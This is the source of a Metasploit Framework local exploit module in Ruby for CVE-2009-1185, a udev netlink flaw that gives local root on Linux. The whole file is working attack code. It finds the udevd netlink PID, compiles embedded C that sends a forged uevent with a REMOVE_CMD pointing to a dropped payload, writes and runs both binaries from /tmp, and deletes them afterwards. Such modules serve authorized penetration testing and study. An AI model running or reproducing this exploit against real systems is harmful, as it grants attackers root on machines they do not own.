##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'
require 'msf/core/exploit/exe'

#load 'lib/msf/core/post/file.rb'
#load 'lib/msf/core/exploit/local/unix.rb'
#load 'lib/msf/core/exploit/local/linux.rb'
#load 'lib/msf/core/exploit/local/linux_kernel.rb'

class Metasploit4 < Msf::Exploit::Local
	Rank = GreatRanking

	include Msf::Exploit::EXE
	include Msf::Post::File
	include Msf::Post::Common

	include Msf::Exploit::Local::Linux
	include Msf::Exploit::Local::Unix

	def initialize(info={})
		super( update_info( info, {
				'Name'          => 'Linux udev Netlink Local Privilege Escalation',
				'Description'   => %q{
					Versions of udev < 1.4.1 do not verify that netlink messages are
					coming from the kernel. This allows local users to gain privileges by
					sending netlink messages from userland.
				},
				'License'       => MSF_LICENSE,
				'Author'        =>
					[
						'kcope',           # discovery
						'Jon Oberheide',   # 95-udev-late.rules technique
						'egypt'            # metasploit module
					],
				'Platform'      => [ 'linux' ],
				'Arch'          => [ ARCH_X86, ARCH_X86_64 ],
				'SessionTypes'  => [ 'shell', 'meterpreter' ],
				'References'    =>
					[
						[ 'CVE', '2009-1185' ],
						[ 'OSVDB', '53810' ],
						[ 'BID', '34536' ]
					],
				'Targets'       =>
					[
						[ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
						[ 'Linux x64',       { 'Arch' => ARCH_X86_64 } ],
						#[ 'Command payload', { 'Arch' => ARCH_CMD } ],
					],
				'DefaultOptions' => { 'WfsDelay' => 2 },
				'DefaultTarget' => 0,
				'DisclosureDate' => "Apr 16 2009",
			}
			))
		register_options([
				OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
				OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1.  Meterpreter sessions will autodetect" ]),
			], self.class)
	end

	def exploit

		if datastore["NetlinkPID"] and datastore["NetlinkPID"] != 0
			netlink_pid = datastore["NetlinkPID"]
		else
			print_status("Attempting to autodetect netlink pid...")
			netlink_pid = autodetect_netlink_pid
		end

		if not netlink_pid
			print_error "Couldn't autodetect netlink PID, try specifying it manually."
			print_error "Look in /proc/net/netlink for a PID near that of the udevd process"
			return
		else
			print_good "Found netlink pid: #{netlink_pid}"
		end

		sc = Metasm::ELF.new(@cpu)
		sc.parse %Q|
			#define DEBUGGING
			#define NULL ((void*)0)
			#ifdef __ELF__
				.section ".bss" rwx
				.section ".text" rwx
				.entrypoint
			#endif
			call main
			push eax
			call exit
		|

		payload_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"
		evil_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"

		main = %Q^
/*
** All of these includes are now factorized.
**/
/*
#include <sys/types.h>
#include <sys/socket.h>
#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <linux/netlink.h>
*/

#define NETLINK_KOBJECT_UEVENT 15
#define PF_NETLINK 16
#define SOCK_DGRAM 2
#define AF_NETLINK PF_NETLINK

typedef unsigned short __kernel_sa_family_t;
typedef unsigned int __socklen_t;
typedef int __ssize_t;
typedef unsigned int __u32;
extern int close(int __fd);
typedef unsigned short sa_family_t;
typedef unsigned long size_t;
extern int socket(int __domain, int __type, int __protocol);
extern int sprintf(char *__s, const char *__format, ...);

const struct iovec {
	void *iov_base;
	size_t iov_len;
};
extern void *memset(void *__s, int __c, size_t __n);

const struct sockaddr {
	sa_family_t sa_family;
	char sa_data[14];
};

struct sockaddr_nl {
	__kernel_sa_family_t nl_family;
	unsigned short nl_pad;
	__u32 nl_pid;
	__u32 nl_groups;
};
typedef __socklen_t socklen_t;
typedef __ssize_t ssize_t;

extern int bind(int __fd, const struct sockaddr *__addr, socklen_t __len);

const struct msghdr {
	void *msg_name;
	socklen_t msg_namelen;
	const struct iovec *msg_iov;
	size_t msg_iovlen;
	void *msg_control;
	size_t msg_controllen;
	int msg_flags;
};

extern ssize_t sendmsg(int __fd, const struct msghdr *__message, int __flags);
/* end factorize */

#define NULL 0

int main() {
	int sock;
	struct iovec iov;
	struct sockaddr_nl sa;
	struct msghdr msg;
	char *mp;
	char message[4096];

	memset(sa, 0, sizeof(sa));
	sa.nl_family = AF_NETLINK;
	sa.nl_pid = #{netlink_pid};
	sa.nl_groups = 0;

	memset(&msg, 0x00, sizeof(struct msghdr));
	msg.msg_name = (void *)&sa;
	msg.msg_namelen = sizeof(sa);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = NULL;
	msg.msg_controllen = 0;
	msg.msg_flags = 0;

	sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
	bind(sock, (struct sockaddr *) &sa, sizeof(sa));

	mp = message;
	mp += sprintf(mp, "remove@/d") + 1;
	mp += sprintf(mp, "SUBSYSTEM=block") + 1;
	mp += sprintf(mp, "DEVPATH=/dev/#{Rex::Text.rand_text_alpha(10)}") + 1;
	mp += sprintf(mp, "TIMEOUT=10") + 1;
	mp += sprintf(mp, "ACTION=remove") +1;
	mp += sprintf(mp, "REMOVE_CMD=#{payload_path}") +1;

	iov.iov_base = (void*)message;
	iov.iov_len = (int)(mp-message);

	sendmsg(sock, &msg, 0);

	close(sock);

	return 0;
}
^
		cparser.parse(main, "main.c")
		# This will give you all the structs and #defines (from all included
		# headers) that are actually used by our C code so we can avoid
		# needing them at runtime.
		#puts cparser.factorize

		asm = cpu.new_ccompiler(cparser, sc).compile

		sc.parse asm

		sc.assemble

		begin
			elf = sc.encode_string
		rescue
			print_error "Metasm Encoding failed: #{$!}"
			elog "Metasm Encoding failed: #{$!.class} : #{$!}"
			elog "Call stack:\n#{$!.backtrace.join("\n")}"
			return
		end

		pl = payload.encoded_exe
		print_status "Writing payload executable (#{pl.length} bytes) to #{payload_path}"
		write_file(payload_path, pl)

		print_status "Writing exploit executable (#{elf.length} bytes) to #{evil_path}"
		write_file(evil_path, elf)

		print_status "chmod'ing and running it..."
		cmd_exec("chmod 755 #{evil_path} #{payload_path}")
		cmd_exec("#{evil_path}")

		rm_f(evil_path, payload_path)
	end

	def autodetect_netlink_pid
		netlink_pid = nil

		case session.type
		when "meterpreter"
			print_status("Meterpreter session, using get_processes to find netlink pid")
			process_list = session.sys.process.get_processes
			udev_proc = process_list.find {|p| p["name"] =~ /udevd/ }
			udev_pid = udev_proc["pid"]
			print_status "udev pid: #{udev_pid}"
			netlink = read_file("/proc/net/netlink")
			netlink.each_line do |line|
				pid = line.split(/\s+/)[2].to_i
				if pid == udev_pid - 1
					netlink_pid = pid
					break
				end
			end
		else
			print_status("Shell session, trying sh script to find netlink pid")
			netlink_pid = cmd_exec(
				%q^
				for netlink_pid in $(awk '{print $3}' /proc/net/netlink |sort -u|grep -v -- -); do
					for udev_pid in $(ps aux | grep [u]devd | awk '{print $2}'); do
						[ $(( $udev_pid-1 )) = $netlink_pid ] && echo $netlink_pid ;
					done;
				done ^)
			netlink_pid = nil if netlink_pid.empty?
		end

		netlink_pid
	end
end
